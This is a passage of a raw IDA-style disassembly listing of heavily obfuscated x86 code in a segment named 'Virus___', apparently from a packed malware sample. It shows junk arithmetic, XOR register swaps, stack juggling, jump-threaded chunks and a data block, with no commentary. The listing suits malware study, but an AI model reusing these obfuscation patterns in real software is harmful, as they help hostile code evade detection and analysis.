		jmp	loc_545F25
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54F103:				; DATA XREF: Virus___:00542E24o
		mov	cx, [esp]
		jmp	loc_548869
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F10C:				; CODE XREF: sub_545A2B-A01j
		xor	esi, 648105DDh
		sub	esi, 17437129h
		add	esi, 7E79377Ah
		jmp	loc_54405C
; ---------------------------------------------------------------------------


loc_54F123:				; CODE XREF: sub_545A2B+1462j
		add	ebx, 9953F5D4h
		add	eax, ebx
		jmp	loc_54B782
; ---------------------------------------------------------------------------


loc_54F130:				; CODE XREF: sub_545A2B+7880j
		xor	eax, edi
		pop	edi
		push	edx
		jmp	loc_54DF3F
; ---------------------------------------------------------------------------


loc_54F139:				; CODE XREF: sub_545A2B+5030j
		push	639Ch
		mov	[esp-2Ah+arg_26], edx
		mov	edx, 2
		sub	ecx, 88D0AACh
		jmp	loc_548ABA
; ---------------------------------------------------------------------------


loc_54F151:				; CODE XREF: sub_545A2B-772j
		pop	esp
		mov	[esp+0], ebp
		push	58F3h
		mov	[esp-8+arg_4], esp
		jmp	loc_5444D4
; ---------------------------------------------------------------------------


loc_54F162:				; CODE XREF: sub_545A2B+27A0j
		xor	eax, ebp
		mov	ebp, [esp-4Ah+arg_46]
		add	esp, 4
		add	ebx, 5B146AA5h
		sub	ebx, eax
		push	esi
		jmp	loc_54B1D1
; ---------------------------------------------------------------------------


loc_54F178:				; CODE XREF: sub_545A2B+198Dj
		push	edx
		mov	edx, 1615B4h
		add	[esp-30h+arg_36+2], edx
		pop	edx
		jmp	sub_54EF09
; ---------------------------------------------------------------------------


loc_54F188:				; CODE XREF: sub_545A2B+84D9j
		xor	ebp, eax
		jmp	loc_548777
; ---------------------------------------------------------------------------


loc_54F18F:				; CODE XREF: sub_545A2B+62B4j
		add	edx, ebx
		pop	ebx
		push	50E9h
		mov	[esp-2Eh+arg_2A], ebp
		push	eax
		mov	eax, 4
		mov	ebp, eax
		pop	eax
		add	edx, ebp
		pop	ebp
		xor	edx, [esp-32h+arg_2E]
		xor	[esp-32h+arg_2E], edx
		xor	edx, [esp-32h+arg_2E]
		mov	esp, [esp-32h+arg_2E]
		push	[esp-32h+arg_2E]
		jmp	loc_5498BA
; ---------------------------------------------------------------------------


loc_54F1BA:				; CODE XREF: sub_545A2B+5FC8j
		push	[esp+14h+var_16+2]
		pop	ecx
		push	3BDFh
		mov	[esp+0], ecx
		mov	ecx, esp
		push	ebp
		jmp	loc_54D90A
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54F1CE:				; CODE XREF: Virus___:00544F37j
		push	dword ptr [esp]
		pop	ebp
		push	6A79h
		jmp	loc_54A77B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F1DC:				; CODE XREF: sub_545A2B-8C4j
		add	esp, 4
		jmp	loc_54CAAB
; ---------------------------------------------------------------------------


loc_54F1E7:				; CODE XREF: sub_545A2B+5E8Cj
		xchg	edi, [esp+1Ch+var_1C]
		mov	esp, [esp+1Ch+var_1C]
		jmp	loc_54C205
; ---------------------------------------------------------------------------


loc_54F1F2:				; CODE XREF: sub_545A2B+290Aj
		xor	ebx, 87E2208h
		jmp	loc_54A5EF
; ---------------------------------------------------------------------------


loc_54F1FD:				; CODE XREF: sub_545A2B+3767j
		pop	ecx
		mov	edx, [esp-12h+arg_E]
		add	esp, 4
		push	3CE2h
		mov	[esp-12h+arg_E], eax
		jmp	loc_544BB4
; END OF FUNCTION CHUNK	FOR sub_545A2B

; =============== S U B	R O U T	I N E =======================================



sub_54F214	proc near		; CODE XREF: sub_545A2B+65A4j

var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4

		push	ebx
		mov	ebx, 56554525h
		mov	ebp, 0A3C08A1Fh
		sub	ebp, ebx
		mov	ebx, [esp+4+var_4]
		push	58ADh
		mov	[esp+8+var_8], edx
		mov	edx, esp
		push	1A1Fh
		mov	[esp+0Ch+var_C], eax
		mov	eax, 4
		add	edx, eax
		jmp	loc_5488B4
sub_54F214	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F242:				; CODE XREF: sub_545A2B+601Dj
		add	esi, 24D111D8h
		jmp	loc_546FD5
; ---------------------------------------------------------------------------


loc_54F24D:				; CODE XREF: sub_545A2B-D1Fj
		xchg	esi, [esp-10h+arg_A+2]
		pop	esp
		add	esp, 4
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54F259:				; CODE XREF: sub_545A2B+6669j
		push	42A5h
		push	esp
		pop	[esp+4+var_4]
		add	dword ptr [esp+0], 4
		mov	ecx, [esp+0]
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		jmp	loc_546058
; ---------------------------------------------------------------------------


loc_54F27D:				; CODE XREF: sub_545A2B+7BCBj
		mov	edx, esp
		add	edx, 4
		jmp	loc_54D2D8
; ---------------------------------------------------------------------------


loc_54F28A:				; CODE XREF: sub_545A2B+5306j
		or	edx, 75215EB9h
		or	edx, 556A7D54h
		add	edx, 0DEBEB95Fh
		sub	esi, edx
		pop	edx
		push	edi
		mov	edi, 2331525Eh
		shr	edi, 3
		add	edi, 1
		jmp	loc_547F4A
; ---------------------------------------------------------------------------


loc_54F2B0:				; CODE XREF: sub_545A2B+5A57j
		push	eax
		mov	eax, 5ABE2213h
		or	eax, 407A5684h
		jmp	loc_548EBB
; ---------------------------------------------------------------------------


loc_54F2C0:				; CODE XREF: sub_545A2B+4F08j
		mov	bh, ch
		jmp	loc_545CB2
; ---------------------------------------------------------------------------


loc_54F2C7:				; CODE XREF: sub_545A2B+32D0j
		push	edx
		mov	edx, 54180FBFh
		dec	edx
		xchg	esi, edx
		not	esi
		jmp	loc_54EEEC
; ---------------------------------------------------------------------------


loc_54F2D7:				; CODE XREF: sub_545A2B-1657j
		mov	edx, [esp-1Ch+arg_16+2]
		add	esp, 4
		pop	[esp-20h+arg_1A+2]
		pop	esp
		mov	ax, word ptr [esp-28h+arg_22+2]
		jmp	loc_54956E
; ---------------------------------------------------------------------------


loc_54F2EA:				; CODE XREF: sub_545A2B+26B4j
		add	bl, ch
		pop	ecx
		add	bl, al
		sub	esp, 2
		jmp	loc_54B8FD
; ---------------------------------------------------------------------------


loc_54F2F7:				; CODE XREF: sub_545A2B+58FEj
		add	ecx, edx
		jmp	loc_54E073
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------


loc_54F2FE:				; DATA XREF: Virus___:00542E6Co
		mov	ax, [esp]
		push	edi
		mov	edi, esp
		add	edi, 4
		sub	edi, 4
		jmp	loc_546C72
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F316:				; CODE XREF: sub_545A2B+24CBj
		sub	esi, 0E53EB86Dh
		jmp	loc_549606
; ---------------------------------------------------------------------------


loc_54F321:				; CODE XREF: sub_545A2B+953Aj
		mov	[esp-38h+arg_32+2], esi
		push	3A53h
		mov	[esp-34h+arg_2E+2], esp
		add	[esp-34h+arg_2E+2], 4
		mov	esi, [esp-34h+arg_2E+2]
		add	esp, 4
		push	edi
		push	esi
		mov	esi, 4
		mov	edi, esi
		pop	esi
		add	esi, edi
		jmp	loc_54AB51
; ---------------------------------------------------------------------------


loc_54F347:				; CODE XREF: sub_545A2B+1FF7j
		not	esi
		xor	ecx, esi
		jmp	loc_54B657
; ---------------------------------------------------------------------------


loc_54F350:				; CODE XREF: sub_545A2B+322Bj
		xchg	ecx, [esp-48h+arg_42+2]
		pop	esp
		mov	[esp-4Ch+arg_46+2], esp
		sub	esp, 4
		jmp	loc_54EA1D
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54CEC0


loc_54F35F:				; CODE XREF: sub_54CEC0-93C0j
		not	ecx
		xor	ecx, 0BBACBEFBh
		sub	ebp, ecx
		pop	ecx
		jmp	loc_54AC3E
; END OF FUNCTION CHUNK	FOR sub_54CEC0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F36F:				; CODE XREF: sub_545A2B+1047j
		add	byte ptr [esp-3Ah+arg_36], 1
		jmp	loc_54984A
; ---------------------------------------------------------------------------


loc_54F378:				; CODE XREF: sub_545A2B+68DEj
		pop	ebx
		xor	ebx, 11BE6EABh
		jmp	loc_544327
; ---------------------------------------------------------------------------


loc_54F384:				; CODE XREF: sub_545A2B+3774j
		and	ecx, 362A543Dh
		shl	ecx, 4
		jmp	loc_5476FD
; ---------------------------------------------------------------------------


loc_54F392:				; CODE XREF: sub_545A2B-1EADj
		movzx	ax, byte ptr [eax]
		push	34E7h
		mov	[esp-2Ah+arg_26], esi
		push	esp
		pop	esi
		push	edx
		push	ebp
		mov	ebp, 0FBA7E92h
		mov	edx, ebp
		pop	ebp
		add	edx, 61D854F2h
		inc	edx
		jmp	loc_54CCC8
; ---------------------------------------------------------------------------


loc_54F3B6:				; CODE XREF: sub_545A2B+656j
		push	78E9h
		mov	[esp-1Ch+arg_16+2], edi
		mov	edi, 0FE26FDFDh
		xor	edx, edi
		mov	edi, [esp-1Ch+arg_16+2]
		add	esp, 4
		and	eax, edx
		jmp	loc_54B3DF
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_543268


loc_54F3D5:				; CODE XREF: sub_543268+1EAFj
		push	dword ptr [esp+0]
		mov	esi, [esp+4+var_4]
		add	esp, 4
		push	306Ch
		mov	[esp+4+var_4], esi
		push	esp
		jmp	loc_54BC4B
; END OF FUNCTION CHUNK	FOR sub_543268
; ---------------------------------------------------------------------------


loc_54F3EC:				; DATA XREF: Virus___:00542D44o
		mov	ax, [esp]
		sub	esp, 4
		mov	[esp], ebp
		jmp	loc_54C851
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_545A2B


loc_54F3FB:				; CODE XREF: sub_545A2B+1B03j
		not	edi
		jmp	loc_546B76
; ---------------------------------------------------------------------------


loc_54F402:				; CODE XREF: sub_545A2B+36FDj
		add	eax, 4
		push	ebx
		push	edi
		push	1F997C0Ch
		pop	edi
		shl	edi, 4
		shl	edi, 3
		sub	edi, 0CCBE05FCh
		jmp	loc_54A1E0
; ---------------------------------------------------------------------------


loc_54F420:				; CODE XREF: sub_545A2B+556Bj
		push	eax
		push	ecx
		jmp	loc_548DF6
; ---------------------------------------------------------------------------


loc_54F427:				; CODE XREF: sub_545A2B+8C3Cj
		add	ecx, 4
		push	edx
		mov	edx, esp
		add	edx, 4
		jmp	loc_546108
; ---------------------------------------------------------------------------


loc_54F43B:				; CODE XREF: sub_545A2B+5323j
		pop	esp
		mov	[esp-3Eh+arg_3A], edx
		jmp	sub_543444
; ---------------------------------------------------------------------------


loc_54F444:				; CODE XREF: sub_545A2B+7A07j
		mov	[esp-16h+arg_12], edx
		push	edi
		push	1
		mov	edi, [esp-0Eh+arg_A]
		add	esp, 4
		push	ebx
		mov	ebx, edi
		mov	edx, ebx
		pop	ebx
		pop	edi
		jmp	loc_542F99
; ---------------------------------------------------------------------------


loc_54F462:				; CODE XREF: sub_545A2B+561Cj
		sub	[esp-3Eh+arg_42], 1615B4h
		jmp	loc_5473B4
; ---------------------------------------------------------------------------


loc_54F46F:				; CODE XREF: sub_545A2B+2C9j
		sub	ebp, 8DD444Dh
		sub	ebp, 53EF1ACAh
		add	ebp, ebx
		add	ebp, 53EF1ACAh
		add	ebp, 8DD444Dh
		sub	ebp, 2B4D1097h
		pop	ebx
		xchg	ebp, [esp-14h+arg_E+2]
		pop	esp
		shl	byte ptr [esp-18h+arg_12+2], cl
		pushf
		jmp	loc_542F67
; ---------------------------------------------------------------------------


loc_54F49D:				; CODE XREF: sub_545A2B+514Aj
		push	ecx
		jmp	loc_54A771
; ---------------------------------------------------------------------------


loc_54F4A3:				; CODE XREF: sub_545A2B+6E50j
		sub	ebx, 5CB114DAh
		add	ebx, 75D61282h
		jmp	loc_545EBC
; END OF FUNCTION CHUNK	FOR sub_545A2B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_54585B


loc_54F4B4:				; CODE XREF: sub_54585B+2j
		pop	ebp
		mov	esi, [esp+4+var_4]
		add	esp, 4
		not	esi
		push	ebp
		jmp	loc_545DC3
; END OF FUNCTION CHUNK	FOR sub_54585B
; ---------------------------------------------------------------------------
		align 4
		dd 10h dup(0)
		dd 0DC0A0000h, 7471071Ch, 58D4071Dh, 3C88071Dh,	0AADD071Dh
		dd 9543071Ch, 0EB04071Dh, 9669071Ch, 0C1D5071Ch, 0EAA8071Ch
		dd 0C879071Ch, 197B071Ch, 305E071Dh, 59D1071Dh,	557B071Dh
		dd 2511071Ch, 4436071Dh, 0C2E6071Dh, 85E8071Ch,	4469071Dh
		dd 4B81071Dh, 4F79071Ch, 0A929071Dh, 90AD071Ch,	0E0E0071Dh
		dd 38F7071Ch, 0B259071Dh, 702D071Ch, 93D4071Dh,	0C836071Dh
		dd 5538071Ch, 0D26B071Ch, 28DC071Ch, 9B47071Dh,	0A5A1071Dh
		dd 6CB6071Ch, 5796071Dh, 67B3071Ch, 73E9071Dh, 43B071Dh
		dd 97AE071Dh, 883F071Ch, 64EB071Ch, 937F071Ch, 0D6ED071Ch
		dd 0D072071Ch, 2A33071Ch, 0F7BB071Dh, 880B071Ch, 4E89071Ch
		dd 0E6F8071Ch, 90A071Ch, 0DBC6071Dh, 0D76071Ch,	5E3B071Dh
		dd 8654071Ch, 3EED071Ch, 7759071Dh, 9316071Dh, 0C582071Ch
		dd 9779071Ch, 4359071Dh, 73C6071Dh, 4603071Dh, 76B071Dh
		dd 0B89C071Dh, 66D2071Ch, 9178071Ch, 0D339071Dh, 90E6071Ch
		dd 492E071Ch, 5206071Dh, 3177071Dh, 0DEFC071Dh,	50C8071Ch
		dd 9035071Ch, 3D16071Ch, 0E530071Dh, 84D9071Ch,	8F44071Ch
		dd 0E62071Dh, 22BF071Dh, 963E071Dh, 37A071Ch, 0BA6C071Dh
		dd 655C071Ch, 6688071Ch, 0BDCA071Ch, 7947071Ch,	0DFC9071Dh
		dd 0FFD4071Ch, 88D4071Ch, 93E5071Dh, 9AAF071Dh,	8B90071Ch
		dd 0E63E071Ch, 4F22071Ch, 8CA4071Dh, 6169071Ch,	0BD1A071Dh
		dd 0FF4B071Ch, 1908071Ch, 0B5D071Dh, 52BC071Dh,	4E0A071Ch
		dd 8131071Dh, 8101071Dh, 73DC071Dh, 0D576071Dh,	0C044071Ch
		dd 1FEF071Ch, 0D49071Dh, 2323071Dh, 0D415071Dh,	0A9A1071Ch
		dd 0FB7071Ch, 49AD071Dh, 4AFD071Dh, 3F071Ch, 2467071Dh
		dd 0A30F071Dh, 7C51071Ch, 8E99071Ch, 84A4071Dh,	0C143071Ch
		dd 8D6071Ch, 60A3071Dh,	5F15071Ch, 2C40071Dh, 0A17A071Dh
		dd 0C99A071Ch, 65E5071Ch, 85CC071Ch, 6C97071Dh,	5310071Dh
		dd 7396071Ch, 0B4DE071Ch, 958F071Ch, 90D4071Dh,	0F937071Dh
		dd 1DD1071Ch, 0F3FF071Dh, 85EF071Ch, 0F21E071Ch, 9862071Ch
		dd 9B02071Ch, 507A071Dh, 983A071Ch, 8218071Ch, 8DF7071Dh
		dd 18B6071Dh, 0CD94071Dh, 74BD071Ch, 9B3D071Dh,	0A7C5071Ch
		dd 3EAD071Ch, 0E45B071Dh, 8056071Ch, 5613071Ch,	1C6E071Ch
		dd 0F235071Dh, 0D3F4071Ch, 0AE7F071Ch, 77E1071Ch, 0F4F6071Ch
		dd 711E071Ch, 4DFF071Ch, 9C60071Ch, 0E8FCh, 815F0000h
		dd 1C4644EFh, 81C78B07h, 1C435CC7h, 2C473B07h, 13EB0275h
		dd 0B92C4789h, 0A7h, 440105EBh,	0B49408Fh, 8BF775C9h, 8B242474h
		dd 0B9F003DEh, 1, 0FF0C033h, 75304FB1h
		db 0F7h
; ---------------------------------------------------------------------------


loc_54F7ED:				; CODE XREF: Virus___:0054FA27j
					; Virus___:0054FC71j ...
		lodsb
		jmp	loc_552FC9
; ---------------------------------------------------------------------------


loc_54F7F3:				; CODE XREF: Virus___:005546E9j
		add	esp, 4
		not	eax
		add	eax, 38056A72h
		push	eax
		pop	ebx
		pop	eax
		add	eax, ebx
		jmp	loc_555036
; ---------------------------------------------------------------------------


loc_54F80A:				; CODE XREF: Virus___:0055B9FCj
		mov	ebx, 40860A91h
		jmp	loc_559F68
; ---------------------------------------------------------------------------


loc_54F814:				; CODE XREF: Virus___:00561D80j
		pop	ebp
		push	3E79h
		mov	[esp], eax
		push	edi
		push	14EC2826h
		pop	edi
		sub	edi, 0E55342Fh
		neg	edi
		xor	edi, 5EA56D5Fh
		add	edi, 0B962D637h
		mov	eax, edi
		jmp	loc_5546EE
; ---------------------------------------------------------------------------


loc_54F83F:				; CODE XREF: Virus___:00558811j
		and	ebp, 246965C7h
		sub	ebp, 410481h
		sub	ebx, ebp
		pop	ebp
		xchg	ebx, [esp]
		mov	esp, [esp]
		jmp	loc_55FB3C
; ---------------------------------------------------------------------------


loc_54F859:				; CODE XREF: Virus___:0055CB08j
		pop	ebp
		add	eax, ebx
		jmp	loc_55E247
; ---------------------------------------------------------------------------


loc_54F861:				; CODE XREF: Virus___:005531DDj
		add	ebx, 2
		xor	ebx, [esp]
		xor	[esp], ebx
		xor	ebx, [esp]
		pop	esp
		sar	byte ptr [esp],	cl
		pushf
		jmp	loc_557470
; ---------------------------------------------------------------------------


loc_54F877:				; CODE XREF: Virus___:0055D83Aj
		dec	ah
		jmp	loc_5630B0
; ---------------------------------------------------------------------------


loc_54F87E:				; CODE XREF: Virus___:0055D7BEj
		push	ebx
		push	eax
		mov	eax, 2DA695Ah
		jmp	loc_557399
; ---------------------------------------------------------------------------


loc_54F88A:				; CODE XREF: Virus___:005638EFj
		push	100Dh
		jmp	loc_558656
; ---------------------------------------------------------------------------


loc_54F894:				; CODE XREF: Virus___:005605A3j
		mov	bh, ch
		jmp	loc_5505C3
; ---------------------------------------------------------------------------


loc_54F89B:				; CODE XREF: Virus___:005559A6j
		mov	eax, 2
		sub	edx, 8FF0DC8h
		push	ebp
		jmp	loc_556007
; ---------------------------------------------------------------------------


loc_54F8AC:				; CODE XREF: Virus___:0055A59Aj
		pop	eax
		push	47B0h
		jmp	loc_5646EE
; ---------------------------------------------------------------------------


loc_54F8B7:				; CODE XREF: Virus___:0055EF83j
		push	222Bh
		push	120Ch
		push	esp
		jmp	loc_564232
; ---------------------------------------------------------------------------


loc_54F8C7:				; CODE XREF: Virus___:00563BA0j
		not	ebp
		sub	ebp, 0FFFFFFFFh
		jmp	loc_55DAA2
; ---------------------------------------------------------------------------


loc_54F8D1:				; CODE XREF: Virus___:00551717j
		add	esp, 4
		xor	bl, al
		movzx	eax, al
		push	dword ptr [edi+eax*4]
		push	dword ptr [esp]
		push	dword ptr [esp]
		mov	eax, [esp]
		add	esp, 4
		push	ecx
		mov	ecx, esp
		jmp	loc_55688C
; ---------------------------------------------------------------------------


loc_54F8F3:				; CODE XREF: Virus___:0055433Ej
		and	eax, ebx
		pop	ebx
		or	eax, eax
		jz	loc_5532D4
		push	dword ptr [edi+28h]
		push	dword ptr [esp]
		pop	eax
		jmp	loc_557E1F
; ---------------------------------------------------------------------------


loc_54F90A:				; CODE XREF: Virus___:00562B5Fj
		mov	eax, 598C7C76h
		shl	eax, 8
		jmp	loc_5594A6
; ---------------------------------------------------------------------------


loc_54F917:				; CODE XREF: Virus___:0055EA06j
		push	small 3DDh
		mov	[esp], ax
		jmp	loc_55BFD7
; ---------------------------------------------------------------------------


loc_54F924:				; CODE XREF: Virus___:0056249Bj
		xchg	edi, edx
		jmp	loc_5645B5
; ---------------------------------------------------------------------------


loc_54F92B:				; CODE XREF: Virus___:00553C94j
		push	eax
		mov	eax, esp
		add	eax, 4
		add	eax, 4
		xchg	eax, [esp]
		jmp	loc_56444B
; ---------------------------------------------------------------------------


loc_54F940:				; CODE XREF: Virus___:0055C834j
		sub	esi, edi
		pop	edi
		add	esi, ecx
		add	esi, 1B6C52E3h
		mov	ecx, [esp]
		add	esp, 4
		push	eax
		mov	eax, 63A80A03h
		push	edx
		mov	edx, 7C982CCDh
		xor	eax, edx
		pop	edx
		jmp	loc_5638AE
; ---------------------------------------------------------------------------


loc_54F965:				; CODE XREF: Virus___:0055000Aj
		sub	bl, 5Dh
		add	bl, 5Fh
		pop	dx
		push	ecx
		jmp	loc_5531F7
; ---------------------------------------------------------------------------


loc_54F973:				; CODE XREF: Virus___:00550337j
		shl	edi, 1
		xor	edi, 189E076Bh
		push	ebp
		mov	ebp, 43A27CECh
		neg	ebp
		not	ebp
		inc	ebp
		neg	ebp
		xor	ebp, 36995E13h
		xor	edi, ebp
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_556A5A
; ---------------------------------------------------------------------------


loc_54F99B:				; CODE XREF: Virus___:0055FABAj
		add	edx, 4
		add	edx, 4
		xchg	edx, [esp]
		pop	esp
		xchg	ecx, [esp]
		mov	esp, [esp]
		movzx	ecx, al
		push	522h
		mov	[esp], ecx
		jmp	loc_552773
; ---------------------------------------------------------------------------


loc_54F9C1:				; CODE XREF: Virus___:0056105Bj
		xor	edx, 0D7AFB790h
		jmp	loc_556CC8
; ---------------------------------------------------------------------------


loc_54F9CC:				; CODE XREF: Virus___:0055599Aj
		mov	[esp], edi
		jmp	loc_561CE6
; ---------------------------------------------------------------------------


loc_54F9D4:				; CODE XREF: Virus___:00561DB8j
		add	esp, 4
		push	6298h
		mov	[esp], edx
		push	eax
		mov	eax, 34C47537h
		xor	eax, 8802BEDh
		push	ebx
		mov	ebx, 0E0112359h
		sub	eax, ebx
		pop	ebx
		jmp	loc_55E376
; ---------------------------------------------------------------------------


loc_54F9F8:				; CODE XREF: Virus___:0055F3CCj
		sub	eax, 0D67F4FFAh
		sub	esi, 7EFE01ECh
		add	esi, eax
		jmp	loc_55AC36
; ---------------------------------------------------------------------------


loc_54FA0A:				; CODE XREF: Virus___:0055A2DDj
		push	463h
		mov	[esp], ecx
		jmp	loc_55DD60
; ---------------------------------------------------------------------------


loc_54FA17:				; CODE XREF: Virus___:0055D21Cj
		dec	bl
		jmp	loc_560A19
; ---------------------------------------------------------------------------


loc_54FA1E:				; CODE XREF: Virus___:0055AFF6j
		add	esp, 4
		sub	esi, edi
		pop	edi
		xor	eax, esi
		pop	esi
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_54FA2C:				; CODE XREF: Virus___:0055A401j
		mov	ecx, 4
		mov	edx, ecx
		jmp	loc_559790
; ---------------------------------------------------------------------------


loc_54FA38:				; CODE XREF: Virus___:00559108j
		xchg	eax, esi
		shr	eax, 7
		and	eax, 723D4727h
		jmp	loc_55800D
; ---------------------------------------------------------------------------


loc_54FA46:				; CODE XREF: Virus___:005609CCj
		add	eax, 10650092h
		push	16D3h
		mov	[esp], ebp
		mov	ebp, 692524C2h
		add	ebp, 0F521CFFh
		add	ebp, 8788C63Fh
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_562816
; ---------------------------------------------------------------------------


loc_54FA6E:				; CODE XREF: Virus___:00555FE4j
		xor	ebp, esi
		mov	esi, [esp]
		jmp	loc_55396D
; ---------------------------------------------------------------------------


loc_54FA78:				; CODE XREF: Virus___:005596BDj
		add	eax, 0B3C67B81h
		push	ebx
		mov	ebx, 580A64BEh
		push	ebp
		jmp	loc_5583DD
; ---------------------------------------------------------------------------


loc_54FA89:				; CODE XREF: Virus___:005558D7j
		inc	ah
		jmp	loc_558485
; ---------------------------------------------------------------------------


loc_54FA90:				; CODE XREF: Virus___:00559DFFj
		mov	bh, al
		mov	dl, bh
		jmp	loc_561683
; ---------------------------------------------------------------------------


loc_54FA99:				; CODE XREF: Virus___:0055D424j
		push	364Ah
		mov	[esp], ebp
		push	edx
		pop	ebp
		jmp	loc_552D9C
; ---------------------------------------------------------------------------


loc_54FAA8:				; CODE XREF: Virus___:0055FAF2j
		push	2E3Bh
		mov	[esp], esi
		push	dword ptr [esp+4]
		jmp	loc_5569F0
; ---------------------------------------------------------------------------


loc_54FAB9:				; CODE XREF: Virus___:0055B142j
		push	4720h
		mov	[esp], ebx
		push	esp
		mov	ebx, [esp]
		jmp	loc_55B1B2
; ---------------------------------------------------------------------------


loc_54FACA:				; CODE XREF: Virus___:005608CBj
		pop	edi
		xor	esi, [esp]
		xor	[esp], esi
		xor	esi, [esp]
		jmp	loc_552C46
; ---------------------------------------------------------------------------


loc_54FAD9:				; CODE XREF: Virus___:00552990j
		inc	ecx
		jmp	loc_55B2E9
; ---------------------------------------------------------------------------


loc_54FADF:				; CODE XREF: Virus___:0055C3BBj
		add	ebp, 6458398Ch
		sub	ebp, 21BE76D2h
		jmp	loc_550193
; ---------------------------------------------------------------------------


loc_54FAF0:				; CODE XREF: Virus___:00556658j
		shr	esi, 6
		jmp	loc_552B17
; ---------------------------------------------------------------------------


loc_54FAF8:				; CODE XREF: Virus___:00560AA4j
		xor	ebp, esi
		pop	esi
		and	ebp, 49DB42EFh
		push	edi
		mov	edi, 29722730h
		xor	edi, 64356186h
		add	ebp, edi
		pop	edi
		add	eax, 512320D1h
		sub	eax, ebp
		sub	eax, 512320D1h
		pop	ebp
		sub	eax, 0DCF24A8h
		sub	eax, edi
		jmp	loc_55D2D0
; ---------------------------------------------------------------------------


loc_54FB29:				; CODE XREF: Virus___:005550C0j
		add	esp, 4
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		jmp	loc_55A2A7
; ---------------------------------------------------------------------------


loc_54FB3D:				; CODE XREF: Virus___:00558361j
		push	0
		push	dword ptr [esp]
		jmp	loc_5608EE
; ---------------------------------------------------------------------------


loc_54FB4A:				; CODE XREF: Virus___:005619DDj
		add	esp, 4
		add	edi, 2
		xor	edi, [esp]
		xor	[esp], edi
		xor	edi, [esp]
		mov	esp, [esp]
		mov	cx, [esp]
		jmp	loc_55C965
; ---------------------------------------------------------------------------


loc_54FB6B:				; CODE XREF: Virus___:0055F189j
		neg	ebx
		jmp	loc_564745
; ---------------------------------------------------------------------------


loc_54FB72:				; CODE XREF: Virus___:00561D69j
		add	edi, 0FFFFFFFFh
		sub	edi, 9BA89F13h
		add	eax, edi
		jmp	loc_554759
; ---------------------------------------------------------------------------


loc_54FB82:				; CODE XREF: Virus___:0055DDCEj
		mov	edx, [esp]
		add	esp, 4
		jmp	loc_5533E8
; ---------------------------------------------------------------------------


loc_54FB90:				; CODE XREF: Virus___:005641A6j
		shl	ebx, 1
		or	ebx, 6316651Bh
		xor	ebx, 6F9677BBh
		add	ecx, ebx
		pop	ebx
		xchg	ecx, [esp]
		jmp	loc_55526E
; ---------------------------------------------------------------------------


loc_54FBA9:				; CODE XREF: Virus___:0055BA0Aj
		mov	bl, 0C1h
		jmp	loc_563F78
; ---------------------------------------------------------------------------


loc_54FBB0:				; CODE XREF: Virus___:00557B47j
		push	eax
		push	edi
		mov	edi, 63EC450Dh
		sub	[esp+4], edi
		jmp	loc_561D3F
; ---------------------------------------------------------------------------


loc_54FBC0:				; CODE XREF: Virus___:005530E7j
		push	3AF6788Dh
		mov	ecx, [esp]
		jmp	loc_5544F5
; ---------------------------------------------------------------------------


loc_54FBCD:				; CODE XREF: Virus___:005614E0j
		and	edx, 32B40D87h
		add	edx, 0FE6E1966h
		add	edi, 78B13819h
		add	edi, edx
		sub	edi, 78B13819h
		jmp	loc_55B973
; ---------------------------------------------------------------------------


loc_54FBEC:				; CODE XREF: Virus___:00557A3Ej
		add	esp, 4
		xor	ebp, esi
		pop	esi
		jmp	loc_5505EF
; ---------------------------------------------------------------------------


loc_54FBFA:				; CODE XREF: Virus___:00562FB8j
		mov	edi, esp
		add	edi, 4
		push	esi
		mov	esi, 4
		sub	edi, esi
		jmp	loc_554185
; ---------------------------------------------------------------------------


loc_54FC0F:				; CODE XREF: Virus___:0055534Aj
		and	ecx, 77760E2Fh
		dec	ecx
		xchg	esi, ecx
		inc	esi
		xchg	esi, ecx
		jmp	loc_554990
; ---------------------------------------------------------------------------


loc_54FC20:				; CODE XREF: Virus___:0055E9A4j
		or	ebp, 5CD26E1Ah
		inc	ebp
		neg	ebp
		add	ebp, 7FFF6E9Fh
		add	ecx, ebp
		pop	ebp
		xchg	ebx, ecx
		push	ebx
		not	dword ptr [esp]
		pop	ebx
		push	ecx
		jmp	loc_55D54E
; ---------------------------------------------------------------------------


loc_54FC3F:				; CODE XREF: Virus___:0056303Ej
		push	eax
		push	7244h
		mov	[esp], ecx
		mov	ecx, 2
		push	edi
		jmp	loc_55FF6D
; ---------------------------------------------------------------------------


loc_54FC53:				; CODE XREF: Virus___:00553F74j
		push	edx
		mov	edx, esp
		add	edx, 4
		sub	edx, 4
		jmp	loc_551E5A
; ---------------------------------------------------------------------------
		push	dword ptr [edi+1Ch]
		popf
		pop	cx
		rcr	dword ptr [esp], cl
		pushf
		jmp	loc_54F7ED
; ---------------------------------------------------------------------------


loc_54FC76:				; CODE XREF: Virus___:0055C16Ej
		push	edi
		mov	edi, 4
		add	[esp+4], edi
		pop	edi
		mov	esi, [esp]
		push	ecx
		jmp	loc_55BCE2
; ---------------------------------------------------------------------------


loc_54FC8A:				; CODE XREF: Virus___:0055D0AAj
		pop	eax
		push	7D00h
		mov	[esp], ecx
		push	66EFh
		jmp	loc_55C916
; ---------------------------------------------------------------------------


loc_54FC9D:				; CODE XREF: Virus___:0055B8C4j
		pop	esp
